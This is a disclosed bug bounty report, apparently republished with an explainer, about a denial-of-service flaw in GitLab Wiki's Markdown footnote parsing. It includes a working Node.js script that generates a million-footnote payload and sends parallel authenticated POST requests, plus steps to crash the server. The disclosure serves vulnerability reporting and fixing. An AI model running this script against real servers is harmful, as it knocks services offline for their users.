Resubmission: Denial-of-Service in GitLab Wiki via Massive Markdown Footnotes
GitLab's Wiki feature accepts Markdown with an excessive number of footnotes, causing the parser to consume excessive CPU and memory. An authenticated attacker can send around 20 parallel requests to render the server unresponsive, resulting in a denial of service.
GitLab
Originally disclosed on GitLab
- Fixed in 5 months
- Disclosed after 5 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #3058879 by yuki_osaki on 2025-03-25, assigned to @ameyadarshan:
Report | Attachments | How To Reproduce
Report
This is a resubmission of my previous report (#3053306) regarding a Denial-of-Service (DoS) vulnerability in GitLab’s Wiki feature when processing large Markdown payloads with numerous footnotes. The previous PoC was complex to reproduce, so I have simplified it here.
Summary
When running GitLab Omnibus (Ubuntu 24.10, 16 GB RAM, 8 Intel vCPUs, 480 GB Disk) with its Wiki feature, sending a large Markdown payload containing an excessive number of footnotes in parallel overloads the server, causing it to become unresponsive (DoS).
This issue can be reproduced with as few as 20 parallel requests, even on GitLab’s recommended 1K reference architecture (8 vCPUs, 16 GB RAM, 480 GB Disk).
As noted in Issue #480533, performing 20 concurrent requests on the 1K reference architecture was previously recognized by GitLab as a valid Denial-of-Service (DoS) scenario. The same conditions apply here.
Important context:
GitLab’s documented performance specifications for the 1K reference architecture indicate it should comfortably handle:
• API: 20 requests per second (RPS)
• Web: 2 RPS
• Git (Pull): 2 RPS
• Git (Push): 1 RPS
Given that this documented specification explicitly supports 20 requests per second, standard rate-limiting mechanisms or normal throttling controls do not prevent this issue from occurring. The underlying issue is caused not by the frequency of requests, but by the complexity and resource intensity of parsing Markdown with a very large number of footnotes. As such, even normal or recommended traffic levels can trigger this denial-of-service scenario, highlighting the severity and practicality of this vulnerability.
Technical Details
• Markdown Parser Timeout Settings
Although timeout_filter_handler.rb (and related code) sets a 2–5 second timeout, testing shows that this does not effectively mitigate heavy loads when processing many footnotes in parallel.
lib/banzai/filter/concerns/timeout_filter_handler.rb (lines 16–34):
module TimeoutFilterHandler
extend ActiveSupport::Concern
RENDER_TIMEOUT = 2.seconds
# [TODO] Seeing several complaints about rendering being too complex.
# https://gitlab.com/gitlab-org/gitlab/-/issues/469683
# The default 2 seconds seems to be too aggressive at the moment.
# It can also depend on the hardware that we're running on.
# So let's make it 5. Currently the overall pipeline timeout
# (pipeline_timing_check.rb) is set to 5.
SANITIZATION_RENDER_TIMEOUT = 5.seconds
COMPLEX_MARKDOWN_MESSAGE =
<<~HTML
<p>Rendering aborted due to complexity issues. If this is valid markdown, please feel free to open an issue
and attach the original markdown to the issue.</p>
HTML
def call
Steps to Reproduce
Step 1: Prepare the Environment
- Install GitLab Omnibus on an Ubuntu 24.10 server:
- CPU: 8 vCPUs
- RAM: 16 GB
- Disk: 480 GB
- Enable the Wiki feature on a GitLab project.
http://142.93.115.43/tessss/tesss/-/wikis/home?edit=true
Step 2: Obtain Required Parameters
- Open your GitLab Wiki edit page in a browser.
Example:
http://142.93.115.43/tessss/tesss/-/wikis/home?edit=true
• Open your browser’s Developer Console and run this JavaScript snippet:
(() => {
const authenticityToken = document.querySelector('input[name="authenticity_token"]')?.value || "";
const lastCommitSha = document.querySelector('input[name="wiki[last_commit_sha]"]')?.value || "";
const wikiTitle = document.querySelector('input[name="wiki[title]"]')?.value || "";
const domain = window.location.origin;
const endpointPath = window.location.pathname;
console.log("domain:", domain);
console.log("endpointPath:", endpointPath);
console.log("authenticityToken:", authenticityToken);
console.log("lastCommitSha:", lastCommitSha);
console.log("wikiTitle:", wikiTitle);
})();
Parameters obtained from the above script:
| Parameter | Example Value |
|---|---|
| domain | http://<redacted> |
| endpointPath | /tessss/tesss/-/wikis/home |
| authenticityToken | <redacted> |
| lastCommitSha | <redacted> |
| wikiTitle | home |
Parameter NOT obtained from the above script (must find manually):
| Parameter (_gitlab_session cookie) | Example Value |
|---|---|
| cookie | _gitlab_session=<redacted> |
:warning: If any of the above placeholders are not replaced, the script will throw errors.
Step 3: Prepare the Script (dos.js)
Create a file named dos.js (Node.js v20 required):
"use strict";
const fs = require("fs");
const { URLSearchParams } = require("url");
// Replace these placeholders with your recorded values:
const domain = "REPLACE_ME_WITH_DOMAIN"; // Example: "http://142.93.115.43"
const endpointPath = "REPLACE_ME_WITH_ENDPOINT_PATH"; // Example: "/tessss/tesss/-/wikis/home"
const authenticityToken = "REPLACE_ME_WITH_AUTHENTICITY_TOKEN"; // Example: "<redacted>"
const lastCommitSha = "REPLACE_ME_WITH_LAST_COMMIT_SHA"; // Example: "<redacted>"
const wikiTitle = "REPLACE_ME_WITH_WIKI_TITLE"; // Example: "home"
const cookie = "REPLACE_ME_WITH_GITLAB_SESSION_COOKIE"; // Example: "_gitlab_session=<redacted>
// ------------------------------------------------------
// No further editing required below this line
// ------------------------------------------------------
const payloadFile = "payload.md";
const endpoint = `${domain}${endpointPath}`;
// Number of footnotes for triggering DoS
const footnoteCount = 1000000;
// Check if payload needs regeneration
let regeneratePayload = true;
if (fs.existsSync(payloadFile)) {
const existingPayload = fs.readFileSync(payloadFile, "utf-8");
if (existingPayload.includes(`[^${footnoteCount}]:`)) {
regeneratePayload = false;
console.log(
`Payload file (${payloadFile}) already has ${footnoteCount} footnotes. Skipping regeneration.`
);
} else {
console.log(
`Payload file (${payloadFile}) exists but with incorrect footnote count. Regenerating payload.`
);
}
}
if (regeneratePayload) {
console.log(`Generating payload with ${footnoteCount} footnotes...`);
const textRefs = Array.from(
{ length: footnoteCount },
(_, i) => `Text with reference[^${i + 1}] `
).join("");
const footnotes = Array.from(
{ length: footnoteCount },
(_, i) => `[^${i + 1}]: footnote ${i + 1}\n`
).join("");
const wikiContent = `${textRefs}\n\n${footnotes}`;
fs.writeFileSync(payloadFile, wikiContent);
console.log(`Payload generated and saved to ${payloadFile}.`);
}
const wikiContent = fs.readFileSync(payloadFile, "utf-8");
/**
* Sends a single request with the provided content.
* [@]param {number} index - Request index
* [@]param {string} content - Markdown content to send
*/
async function sendRequest(index, content) {
console.log(`Sending request #${index + 1}...`);
const formData = new URLSearchParams({
authenticity_token: authenticityToken,
_method: "put",
"wiki[last_commit_sha]": lastCommitSha,
"wiki[title]": wikiTitle,
"wiki[format]": "markdown",
"wiki[content]": content,
"wiki[message]": "Update home",
});
const startTime = Date.now();
try {
const response = await fetch(endpoint, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
Cookie: cookie,
},
body: formData,
});
const endTime = Date.now();
const responseTime = endTime - startTime;
if (response.ok) {
console.log(`Request #${index + 1} succeeded (${responseTime}ms)`);
} else {
const responseBody = await response.text();
console.error(
`Request #${index + 1} failed (${response.status}). ` +
`Response time: ${responseTime}ms. ` +
`Partial response: ${responseBody.slice(0, 100)}`
);
}
} catch (error) {
console.error(`Request #${index + 1} error:`, error.message);
}
}
(async () => {
const requests = [];
for (let i = 0; i < 20; i++) {
requests.push(sendRequest(i, wikiContent));
}
await Promise.all(requests);
console.log("All requests have finished.");
})();
Step 4: Execute the Script to Trigger the Denial-of-Service
- Open 6 terminal windows.
- Run the following command in each terminal, starting each approximately 5 seconds apart:
node --max-old-space-size=81921 dos.js
- Important:
After executing the script 6 times, monitor server resources (CPU and memory usage) usinghtop.
Once resource usage reaches approximately 100%, you must run the script 1–2 additional times to trigger a complete and unrecoverable crash.
Step 5: Confirm Denial-of-Service
- Monitor server resource usage with tools like
htop. - CPU and memory usage will reach approximately 100%, causing GitLab to become completely unresponsive or crash.
Note on GitLab Reference Architecture
GitLab’s official documentation explicitly states that its recommended architecture (8 vCPUs, 16 GB RAM) comfortably supports the following request rates:
| Service | Requests per second (RPS) |
|---|---|
| API | 20 RPS |
| Web | 2 RPS |
| Git (Pull) | 2 RPS |
| Git (Push) | 1 RPS |
Therefore, sending 20 requests per second is within GitLab's documented supported capability and should not be restricted by standard rate-limiting measures. The vulnerability demonstrated here arises not from the frequency of requests but from the size and complexity of the Markdown payload (1,000,000 footnotes per request), leading directly to a Denial-of-Service scenario. This clearly shows the issue cannot be mitigated solely by rate-limiting and represents a security flaw within GitLab’s supported operational parameters.
Impact
• Denial-of-Service (DoS)
Sending around 20 parallel requests can render the server unresponsive for a prolonged period, preventing normal users from accessing the service.
What is the current bug behavior?
• Accepting Markdown with a large number of footnotes causes the parser to consume excessive resources, bringing the server to a halt or causing extreme slowdowns.
• Although a 2–5 second timeout is set, in practice, requests can take 1–2 minutes (or more), culminating in errors or partial server hangs.
What is the expected correct behavior?
• Refusal of Excessively Large or Complex Markdown
or partial parsing cancellation and rate limiting to mitigate server-wide impact.
• Strict Timeout Handling
If a 5-second timeout is set, the system should abort parsing once that threshold is reached, preventing the entire service from being blocked.
Output of Checks
System information
System: Ubuntu 24.10
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.2.5
Gem Version: 3.6.5
Bundler Version:2.6.5
Rake Version: 13.0.6
Redis Version: 7.0.15
Sidekiq Version:7.2.4
Go Version: unknown
GitLab information
Version: 17.10.0-ee
Revision: ef8041bebea
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 16.8
URL: http://<redacted>
HTTP Clone URL: http://<redacted/some-group/some-project.git
SSH Clone URL: git@<redacted>:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: saml, auth0
GitLab Shell
Version: 14.41.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Gitaly
- default Address: unix:/var/opt/gitlab/gitaly/gitaly.socket
- default Version: 17.10.0
Impact
Sending around 20 parallel requests can render the server unresponsive for a prolonged period, preventing normal users from accessing the service.
Impact
Sending around 20 parallel requests can render the server unresponsive for a prolonged period, preventing normal users from accessing the service.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
<redacted>
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Markdown parser lacks effective limits on the number of footnotes or overall complexity, and the existing timeout does not prevent resource exhaustion when many such requests are processed in parallel.
Impact
Sending around 20 parallel requests can render the server unresponsive for a prolonged period, preventing normal users from accessing the service.
What the attacker needed
Authenticated GitLab user; Wiki feature enabled; ability to send HTTP requests
The fix
The text does not state a fix; it suggests refusing excessively large or complex Markdown, enforcing strict timeout handling, and applying rate limiting.
How it was found
- Install GitLab Omnibus on an Ubuntu server with 8 vCPUs, 16 GB RAM, and 480 GB disk, and enable the Wiki feature on a project.
- Open the Wiki edit page and use the browser console to extract the authenticity token, last commit SHA, wiki title, and session cookie.
- Create a Node.js script that generates a Markdown payload with 1,000,000 footnotes and sends 20 parallel POST requests to the wiki endpoint.
- Run the script in six terminal windows, starting each about 5 seconds apart.
- Monitor CPU and memory usage; when it reaches about 100%, run the script one or two more times to cause a complete crash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A denial-of-service (DoS) attack makes a website or service unavailable to normal users, often by overwhelming it with work. Here, a logged-in user can create a wiki page containing a huge number of footnotes (references at the bottom of a page). When the server tries to convert this Markdown into a web page, it uses so much processing power and memory that the whole GitLab instance becomes slow or crashes, so nobody can use it.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.